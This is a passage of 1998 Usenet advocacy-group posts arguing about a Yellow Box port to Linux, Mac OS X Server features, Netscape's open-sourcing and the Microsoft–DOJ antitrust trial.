Do you think that Apple should pull people off of development of OSX for its
current installed base of 22+ million in order to try grabbing *some portion* of
an 8-12 million user market? Now, why should they do that BEFORE they resolved
the issue of free runtimes?
You keep dodging those two questions.
>> No one is saying that YB for Linux is a bad idea, what we are saying is that
>> it may not make sense to develop it now.
>And you've been asked to explain why that might be, if you're going to
>participate in the naysaying.
I've stated this a number of times (and so has Chuck)
>> Where have I demonstrated zealotry? I think I have made it abundantly clear
>> that my objection to porting YB to Linux at this time has nothing to do with
>> Linux and everything to do with Apple making the best use of its resources
>> to ship product.
>If that's all you have to add, there's no reason for you to continue in
>this thread. If, instead, you think you have something important to say
>about *why* a Linux port would not be a high-priority use of Apple
>resources, by all means put aside the crap and explain.
THE FREE RUNTIME ISSUE HAS NOT BEEN RESOLVED.
YB NEEDS DPS, LICENSED FROM ADOBE. IT IS VERY CLEAR THAT ADOBE WANTS DPS KILLED,
(THEY HAVE SAID SO). IN ORDER TO SHIP YB ON LINUX, THEY WILL HAVE TO NEGOTIATE
WITH ADOBE FOR A PRODUCT THAT ADOBE IS ACTIVELY TRYING TO KILL.
Knowing that, can you see why it might not be a good idea to build a YB for
Linux now, as opposed to some point in the future when it is no longer
dependent on an Adobe product that ADOBE IS ACTIVELY TRYING TO KILL.
>> >No, I *NEVER* said that I was not interested in writing to the YB API.
>> And after YB ships, what will keep you from installing it on your machine?
>> According to your headers you are running Mozilla 4.05 [en] (Win95; I).
>Correct.
AND YOU CAN RUN YB ON IT, IF YOU DON'T WANT TO RUN OSX.
>> If you are not willing to install a new OS to run YB, then you can install
>> under Win95. You have a choice, install it on your current machine under
>> an OS you already have or you can install a new OS for it. (your 3rd choice
>> is to ask Apple for a Linux version and wait and see if they have any
>> plans to do one. If you don't want to wait, go back and look at your first
>> two options)
>
>I've already made this clear, Sal. Why I would have to explain things to
>you 3 and 4 times escapes me.
I can point out at least FIVE TIMES where I have stated that a port of YB for
Linux would be dependent on DPS, a product that Adobe is activly trying to kill;
and therefore probibly not the best use of Apple's resources. Show me where you
have EVER stated a reason why you won't be interested in YB for Win95.
>> Did you or did you not state that "YB losses because it is based on Obj-C"?
>I made that statement in a prior posting, which, in context, was not
>factual and not a statement of my opinion. If you read more carefully
>you'll pick this up.
Typical word lawyering. It wasn't a fact and it wasn't your opinion? What
was it doing in something _you_ posted?
YB *is* based on Obj-C, though you can use Java or Obj-C to access it. (And
with a 3rd party product you can use Python, Perl and a few other languages)
>> And even if you didn't say than, it is clear that you were unhappy with the
>> NeXT UI. If you didn't like the UI, why do you want it on Linux?
>What does the NeXT UI have to do with a Linux port of Yellow Box?
>Nothing.
Linux lacks a "native UI", therefore a YB port to Linux would use one of the
existing UIs supported by YB. The likely candidate is the MacOS that currently
runs on OSX Server. While it looks like MacOS, the feel is a lot more like
NeXTStep (window behavior, D&D, C-C-P, Services, tear off menu, common dialogs
et al) If you didn't like NS, I very much doubt you'll like the MacOS UI in
YellowBox.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 18:33:33 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75119t$712@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1112980646160001@elk62.dol.net> <74r7ct$q4h$1@flotsam.uits.indiana.edu> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu>
On 12 Dec 1998 19:03:39 GMT,
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>>OSXS has them. Anything that is missing can be added from the BSD
>>ports tree. I am willing to bet that within 90 days of OSXS shipping,
>>you'll be able to download 95% of the most popular tools (not including
>>X based tools) off the web in ready to install format.
>
>They need to be included on the standard installation disk. Maybe as an
>option, but they need to be there. System administrators are not going to
>want to buy new Macs with OSX and then download the shell and
>administration tools from the web. And they shouldn't have to, and they
>would be right to refuse to do so.
The shell and utils are part of the standard install on OSXS. On OSX they
may be an optional install or a free download. In that case, it is rather
trivial to install it once for the whole network to use.
>>tcsh and bash close enough?
>Oh, yeah, that should be close enough. Except you also need sh, or a sh
>alias to bash, since that's often used as a default and loaded up by a
>script to make sure it will work the way the programmer expects it to
>work.
sh is there.
>>>the X Windowing System easily available,
>>You'll have to go 3rd party for now.
>I suppose that's not as important as the shell utilities. But X is a part
>of the Unix world, so if Apple wants to play in the Unix world, they're
>going to need X. I know I'm going to want to be able to compile and run
>things like GNUPlot.
I'll agree with you that it sucks that Apple isn't including a rootless X11
server and a set of libs to better integrate the X and Yellow worlds; but,
as long as there is some 3rd party option I can live with it.
At one point someone from Apple mentioned that if a 3rd party product
existed, they would not be opposed to shipping it on the demo disk that will
ship with OSX or in an OSX Extras folder if it were a freeware product.
>>Has it. Fully multi-user just like any other BSD Unix.
>The reason I wondered is the average home user probably doesn't want to
>boot up and get blasted with a
> username:
> password:
>How are they going to work that?
Someone else pointed out the "me" account.
>And the average user probably doesn't want to click on "My Hard Drive" and
>see
>#.mrg...login* root4.0/
>DXsession* root4.0B/
<<clip>>
>etc. Any idea what they're going to do about that?
Unix expert mode in Prefs. If you are in "expert" mode you'll se the whole
Unix tree; otherwise you'll see a more Mac like system tree.
While both Mac and NeXT systems come with training wheels, NeXT lets you
take them off if you want to try riding a two wheeler.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 13 Dec 1998 18:33:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75119v$712@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com> <74uq6j$90j$6@news01.btx.dtag.de>
On 12 Dec 1998 22:20:03 GMT, Matthias Warkus <mawarkus@t-online.de> wrote:
>Sal Denaro schrieb:
>> NS was the #1 browser on Linux _before_ it was OpenSourced. Making it
>> OpenSource didn't bring new users to it; the fact that of the two major
>> browsers, it is the only on that runs on Linux did that.
>Fuddleducks. On Linux, Lynx is a major browser, too.
>Seriously.
I forgot about that one.
I used to use it before tables and frames started to infest the web.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 13 Dec 1998 18:54:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7512ha$79d@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <slrn7724vs.23m.jedi@dementia.mishnet> <74u5bg$bb4@news1.panix.com> <3672F4B6.4621878E@nstar.net>
On Sat, 12 Dec 1998 16:56:54 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>> That would be pure conjecture, either for or against. How do you expect me to
>> debate what might have happened if Netscape hadn't made their product
>> opensource with no facts for or against?
>Well, after floating pure conjecture to the effect that Netscape had
>done no better by going Open Source than without, one might ask you the
>same question. And one has.
Huh?
I disagreed with the assessment of others that going OpenSource has saved
Netscape. I based my opinion on the facts that since the announcement their
market share has not increased, nor has going OpenSource translated to any
new sources of income.
The new influx of developers hasn't yet translated into new sales, nor has it
translated into overall gains in market share.
My statements weren't pulled out of thin air, they are backed up by a number
of credible sources of statistical data.
>Perhaps you'll be interested in a CBS Marketwatch article (which you've
>already seen, of course, since you read Slashdot) which disagrees with
>your assessment of Netscape's Open Source move.
>http://cbs.marketwatch.com/archive/19981209/news/current/rebecca.htx?source=blq/yhoo
I read the article, can you point out where she disagrees with my assessment
that Netscape has continued to lose market share after going OpenSource?
I don't dispute that the new NGLayout will be a great product. The best product
doesn't always win.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 13:55:02 -0500
Organization: University Of Pittsburgh
Message-ID: <pxpst2-1312981355020001@pelli.pathology.pitt.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <19981213123502842284@ts2-18.aug.com>
In article <19981213123502842284@ts2-18.aug.com>, nojunkhattonr@aug.com
(Rick) wrote:
> The price of Microsoft software has NOT come down, and, indeed, forces
> software prices artificially high. The mere fact of economy of scale
> alone should mean a very cheap price to MS Windows. Instead, the price
> remains at the same level of other, smaller comanies prices.
This is the fact that Willy does not understand nor will ever admit to.
The price of the OS has stayed the same while the price of the total
system has come down. The reason is that on the hardware side,
Competition exist therefore prices come down.....On the software side, MS
has no competition, therefore prices do not come down.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 14:58:38 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <199812131458381360696@ts2-18.aug.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com>
Willy <willy1@rocketmail.com> wrote:
> In any case, if you read the transcripts you'll see that AOL was tired
> of Netscape's unresponsiveness to their request for an integrated
> browser. AOL had to go with IE for technical reasons. The fact that
> they bought Netscape and will most likely not renew their agreement
> with Microsoft clearly indicates that AOL, not Microsoft, controls
> what AOL does.
Didnt AOL already renew the IE contract.. AFTER buying Netscape...
Oh, ask Go computing, and Digital Research about Microsofts thug-like
marketplace clout.
--
Remove nojunk from my email address to reply by email.
Message-ID: <36742159.EA45364E@nstar.net>
Date: Sun, 13 Dec 1998 14:19:37 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Rick wrote:
> .. and every single Unix or Unix variant includes everything listed
> above in every distributon?
I don't know, I haven't used them all. At any rate, the ones I'm
familiar with *do* have these features. You asked me to describe the
measure of a "good Unix"; well, to the extent that a Unix has these
features, in my opinion, it is making a start at being a "good Unix".
The key is to watch the features included in vendor Unixes. These are
the ones in the most integrated networks bearing the highest load and
being used by the most experienced people. This is not to except Linux
or the BSDs from the description above, but the vendors really do
represent the benchmark Unix environment.
Most vendor Unixes have standardized around SYSV and/or POSIX. I've
excluded SYSV issues, for the most part, for the sake of being generic,
and for the sake of including BSD-ish systems like Linux which don't
care to tote around the weight and administrative issues associated with
SYSV. I've also excluded OpenGL from the list, although every major
vendor ships an OpenGL implementation in addition to PHIGS.
Some people may wonder about certain items on the list, thinking them
irrelevant; they are explicitly mentioned (as opposed to being
*implictly* mentioned) because they are key points of differentiation
between Unix and Windows NT. YP, I-node filesystems, and network
administration are some of these. Those who believe them to be
irrelevant should discuss them with engineers who have worked on Unix-NT
integration projects.
Particularly sticky is the part about a compatible C library. Here, even
two "good Unixes" do not always agree, although the differences are
usually well-known and fairly simple to repair. In general, the
unexpected difficulties are bug-related.
MJP
Date: Sun, 13 Dec 1998 16:06:24 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <joe.ragosta-1312981606240001@elk33.dol.net>
References: <36717987.21076075@news2.asan.com>
In article <36717987.21076075@news2.asan.com>, willy1@rocketmail.com
(Willy) wrote:
> I think it's looking real good for Microsoft. Here's why:
>
> The DOJ hasn't presented any evidence of actual anti-trust type
> behavior;
Which just goes to show--it doesn't matter how much evidence you present
to some people. They'll ignore it.
--
Regards,
Joe Ragosta
From: "John Kheit" <jkheit@uco-iplaw.com>
Newsgroups: comp.sys.next.advocacy
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net> <3672F21A.D96171F8@nstar.net>
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
Message-ID: <ggWc2.636$qF5.1983297@lwnws01.ne.mediaone.net>
Date: Sun, 13 Dec 1998 16:28:45 -0500
NNTP-Posting-Date: Sun, 13 Dec 1998 16:24:28 EDT
Organization: Northeast Region--MediaOne
>I was starting to wonder...we haven't been treated to this stuff for
>many moons. I'm glad to see that UI ranting is back in fashion now that
>we've regained our mascot.
Someone's gotta be the inspiration for empty rhetoric. It's the least I can
do. Really is.
From: wizard@mousam-river.com (John T Maguire)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 21:02:23 GMT
Organization: Mousam River Software
Message-ID: <367509c5.8658099@news.int-usa.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <ericb-1312981240540001@x3066.resnet.cornell.edu>
MIME-Version: 1.0
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On Sun, 13 Dec 1998 12:40:54 -0500, ericb@pobox.com (Eric Bennett)
wrote:
>In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
>
>> History lesson: circa 1980 DOJ is on IBMs case, claiming they are abusing
>> their mainframe monopoly. IBM decides to build a PC, but decides to make it
>> an open system, and not maintain control of the OS for it. Why? (1) IBM
>> didn't dream their PC would be a huge success, (2) No need to stir up the
>> anti-trust forces any more than they were already. The rest is history. The
>> PC revolution begins, with IBM playing only a small role, and IBMs
>> mainframe monopoly becomes irrelevant.
>
>I think there was another reason: IBM was pressed for time; executives
>wanted an IBM PC on the market *fast*, and they didn't have time to design
>their own parts.
Partially right - the PC was really a Datamaster with an 8088 in it,
more or less.
John T Maguire
Mousam River Software, Mousam River BBS - Home of Mutley's Page!
http://www.mousam-river.com
Visiting Maine? Drop by http://www.kportmaine.com
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 21:40:52 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3674321d.370642@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <19981213123502842284@ts2-18.aug.com> <pxpst2-1312981355020001@pelli.pathology.pitt.edu>
On Sun, 13 Dec 1998 13:55:02 -0500, in comp.os.ms-windows.advocacy
pxpst2@unixs.cis.pitt.edu (Peter) wrote:
>In article <19981213123502842284@ts2-18.aug.com>, nojunkhattonr@aug.com
>(Rick) wrote:
>
>> The price of Microsoft software has NOT come down, and, indeed, forces
>> software prices artificially high. The mere fact of economy of scale
>> alone should mean a very cheap price to MS Windows. Instead, the price
>> remains at the same level of other, smaller comanies prices.
>
>This is the fact that Willy does not understand nor will ever admit to.
>The price of the OS has stayed the same while the price of the total
>system has come down. The reason is that on the hardware side,
>Competition exist therefore prices come down.....On the software side, MS
>has no competition, therefore prices do not come down.
The suggested retail of Word is $339. Years ago, when it wasn't
nearly as advanced as it is now, it was $495. Yet somehow, you see
those two prices as the same.
I think there are a few things that *you* are not willing to admit.
From: joecosby@pyszuk.seatac.net (Joe Cosby)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com>
Message-ID: <g4Wc2.1137$c5.5119@news14.ispnews.com>
NNTP-Posting-Date: Sun, 13 Dec 1998 16:11:40 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 13 Dec 1998 21:11:40 GMT
** To reply in e-mail, remove "pyszuk." from address **
ALSO SPRACH Willy:
> I think it's looking real good for Microsoft. Here's why:
>
> The DOJ hasn't presented any evidence of actual anti-trust type
> behavior; that is, evidence that Microsoft has bullied people or
> companies into doing what they want. The only evidence they have is
> the integration (or tying, as the DOJ calls it) of IE into Windows.
> However, regardless of MS's intent, the Appellate Court of DC ruled
> that this particular tying is legal.
>
> The DOJ is presenting an amazing amount of irrelevant evidence. For
> instance:
>
> The definition of an OS - Completely irrelevant. There's nothing
> within the laws regarding product tying that takes the definition of a
> product into account. A monopoly can legally tie two products
> together without the two products being viewed as one product.
>
> Apple/Quicktime issue - Completely irrelevant. Even if Microsoft had
> done what was claimed, Microsoft would be guilty of leveraging their
> Office monopoly. However, Office was dropped from the suit. At no
> time did Microsoft ever leverage their OS monopoly against Apple.
>
> AOL agreement - This was a huge mistake for the DOJ. They actually
> state (in their charges) that Microsoft forced AOL into an agreement.
> Then the AOL prez gets on the stand and states that they used IE for
> technical reasons. Further, AOL just bought Netscape and it's clear
> that the agreement between AOL and Microsoft will not be renewed.
> Sure, Microsoft has it all over AOL. Yeah right.
>
> Java? Well, regardless of merits of Microsoft's Java arguments, it
> looks like Microsoft has the Judge in their corner on this one.
>
> The DOJ has also made confusing statements. For instance, they claim
> that the price of the operating system has remained the same, proving
> that MS has a monopoly. But then they claim that IE isn't free, but
> paid for in the price of the OS. Well excuse me, but if I pay for IE
> in the price of Windows, then the price of Windows must be less than
> previous OSes. If the price of the Windows is the same as previous
> OSes, then IE must be free. Sorry DOJ, you can't have it both ways.
> Pick one.
>
> Am I wrong? Where's the evidence? Where's the e-mail from a
> Microsoft VP saying "make AOL use IE" or "force those ISPs to sign an
> exclusive agreement." ? They're just not there.
>
> I predict that Microsoft will lose the trial because of emotion, but
> will win on appeal, where they actually consider the evidence (or lack
> thereof.).
I don't know who's winning, but this case has brought a lot of Micro$oft
ugliness to the public eye. A lot of strong arm tactics and weaselly
behaviour that the public would never have known about, and probably
not have believed, has been front-page news.
Regardless of who wins, I think this has been a Good Thing (tm).
--
----------------------------------------------------
Joe Cosby
Devout member of the Church of Amiga since 1990
"Whatever you can do, or dream you can, begin it.
Boldness has genius, power and magic in it" - Goethe
----------------------------------------------------
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 21:47:18 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367434cd.1058311@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com>
On Sun, 13 Dec 1998 14:58:38 -0500, in comp.os.ms-windows.advocacy
nojunkhattonr@aug.com (Rick) wrote:
>Willy <willy1@rocketmail.com> wrote:
>
>> In any case, if you read the transcripts you'll see that AOL was tired
>> of Netscape's unresponsiveness to their request for an integrated
>> browser. AOL had to go with IE for technical reasons. The fact that
>> they bought Netscape and will most likely not renew their agreement
>> with Microsoft clearly indicates that AOL, not Microsoft, controls
>> what AOL does.
>
>Didnt AOL already renew the IE contract.. AFTER buying Netscape...
I don't know. Where did you read that? I'd like to see it.
>Oh, ask Go computing, and Digital Research about Microsofts thug-like
>marketplace clout.
Go killed itself (like the Newton) The PalmPilot is proof positive
that if you implement an idea properly, it will take off.
Digital Research produced a version of DOS that simply wasn't worth
the money I paid for it. I bought version 5 and later upgraded to
version 6. There simply wasn't anything there to make it stand out.
So why buy a fake when you could have the real thing for the same
money? There was just no reason for DR-DOS to exist.
Message-ID: <36743CBE.3FE7B087@nstar.net>
Date: Sun, 13 Dec 1998 16:16:30 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net> <3672F21A.D96171F8@nstar.net> <ggWc2.636$qF5.1983297@lwnws01.ne.mediaone.net>
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John Kheit wrote:
>
> >I was starting to wonder...we haven't been treated to this stuff for
> >many moons. I'm glad to see that UI ranting is back in fashion now that
> >we've regained our mascot.
>
> Someone's gotta be the inspiration for empty rhetoric. It's the least I can
> do. Really is.
Well, you know how much I like to participate in that particular thread,
but I've got no new material. Haven't used NeXTstep or anything similar
since the last time we fought like cats and dogs, so I'll have to bow
out.
Unless, of course, you have any particular problem with...X Windows,
perhaps? I'd be glad to get into that one again.
MJP
From: Matthias Buelow <mkb@altair.mayn.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 13 Dec 1998 23:23:49 +0100
Organization: [Posted via] GeFoekoM e.V. Wuerzburg
Message-ID: <8790gbhea2.fsf@altair.mayn.de>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com>
willy1@rocketmail.com (Willy) writes:
> >You never change the routing table, or configure a different nameserver?
>
> No. I haven't had need to touch the routing table and my ISP assigns
> the nameserver along with the IP. Pretty cool, huh? The NT servers
> and NT workstations at my office are setup the same way.
Oh yeah, I don't use the breaks on my car (breaking is for weaklings!)
so why should my car maker produce properly working ones. In fact I'd
never buy a car with such obsolete gears!
--
``Round about the terminal go; / In the poisoned upgrade throw.
Code, which by a student done / In minutes numbering sixty-one.
Run-time error, protection fault / Crash ye first, crash ye shalt.''
(The Oracle, MacBeth95)
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 17:35:57 -0500
Organization: University Of Pittsburgh
Message-ID: <pxpst2-1312981735570001@pelli.pathology.pitt.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <19981213123502842284@ts2-18.aug.com> <pxpst2-1312981355020001@pelli.pathology.pitt.edu> <3674321d.370642@news2.asan.com>
In article <3674321d.370642@news2.asan.com>, willy1@rocketmail.com (Willy)
wrote:
> >This is the fact that Willy does not understand nor will ever admit to.
> >The price of the OS has stayed the same while the price of the total
> >system has come down. The reason is that on the hardware side,
> >Competition exist therefore prices come down.....On the software side, MS
> >has no competition, therefore prices do not come down.
>
> The suggested retail of Word is $339. Years ago, when it wasn't
> nearly as advanced as it is now, it was $495. Yet somehow, you see
> those two prices as the same.
>
> I think there are a few things that *you* are not willing to admit.
But I was talking about the OS which has no competition not the apps like
Office/word which do have competition.
Do you selectively read stuff and see what you want to see?
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 13 Dec 1998 15:42:42 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <367450F3.A0794FF8@ncal.verio.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu> <74v2bp$jd5$1@remarQ.com> <750ii1$6hm$1@jetsam.uits.indiana.edu>
Mime-Version: 1.0
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Gregory Loren Hansen wrote:
> >NeXT had a default login account, "me". As long as this had no
> >password, the machine booted up then automaticaly logged into
> >that account, so the user saw a standard desktop automatically.
> >If the user added a password to the account, he got a GUI login
> >screen, not completely unlike NT.
>
> Wow, they've thought of everything!
>
> And I suppose "me" have my own home directory, so if I really wanted to I
> could leave that open for public use, but log into my own
> password-protected account by choosing some kind of login option from
> "me"'s account?
Even easier would be to have the Setup Assistant run during installation
offer a choice of login panel or autologin to an account you specify,
whether new, existing, local, or on the network. Easier than trying to
cook up some sort of patch...
NeXTSTEP and OPENSTEP/Mach allowed default autologin for any account,
not just 'me', but there wasn't a standard UI element to set this up. I
has a script I used on NeXTSTEP 2.0 and later to set this up for myself.
(Hints: loginwindow, running as root, reads root's defaults database.
That's where the tweaks go. Running strings over
loginwindow.app/loginwindow may be instructive...)
Subject: Re: I love it!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <74iq7i$c30$1@remarQ.com> <74j82g$m9h$1@mars.darmstadt.gmd.de>
In-Reply-To: <74j82g$m9h$1@mars.darmstadt.gmd.de>
From: nospam@pacbell.net (Steve Dekorte)
Message-ID: <D%Vc2.4043$RM4.40371@typhoon-sf.snfc21.pbi.net>
Date: Sun, 13 Dec 1998 21:06:43 GMT
NNTP-Posting-Date: Sun, 13 Dec 1998 13:06:43 PDT
Organization: SBC Internet Services
On 12/07/98, Christian Neuss wrote:
>Just curious.. has anybody _ever_ used that printer icon? Ever? :-)
Each time I download a new version, I rip out all the buttons to the
right of the find button. I hate the clutter of unused buttons.
I also wish you could toggle between having the web page fill the
entire window, and the normal layout.
Steve
From: "Osvaldo Pinali Doederlein" <osvaldo@visionnaire.com.br>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 04:11:36 +0100
Organization: Ecole des Mines de Nantes
Message-ID: <74vbdv$7r6$1@wfn.emn.fr>
References: <36717987.21076075@news2.asan.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de>
Matthias Buelow <mkb@altair.mayn.de> wrote in message
news:74va0v$cou$1@wuff.mayn.de...
>>Just out of curiosity, please name an OS that you consider "high
>>quality".
>I'd say "higher quality" are Digital Unix, Solaris, HP-UX (yes),
>AIX even (it has some awesome features), BSDi and the free BSD versions.
Bah... I have used Digital Unix, and I couldn't use Digital's CDE
environment because it was incompatible with Digital's TMN product we were
developing to, this a big joke... there is an HP-UX in my company for one
project (fortunately the job includes porting legacy stuff to both Win32 and
Java where it can evolve) and that OS has its share of quirks, several
problems with networking and LOTS of problems with HP's compiler and HP's
support for that was miserable (If you feel bad waiting one hour in MS's
phone service, try waiting eight months to solve a stupid licensing
problem)... there are some AIX machines here (PowerPC) and they hang if I
breathe at them forcing a hardware reset...
Do all of this mean that DG-UX, HP-UX and AIX are absolute crap? No way, in
all examples the systems are not managed by people very experienced with
them (BUT extremely experienced with other "big" Unices, and that's yet
another lame feature of Unix, you must spend a lifetime studying one
particular member of the family to master it, then you move to other brand
and become an idiot).
Sender: darin@snowboard
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
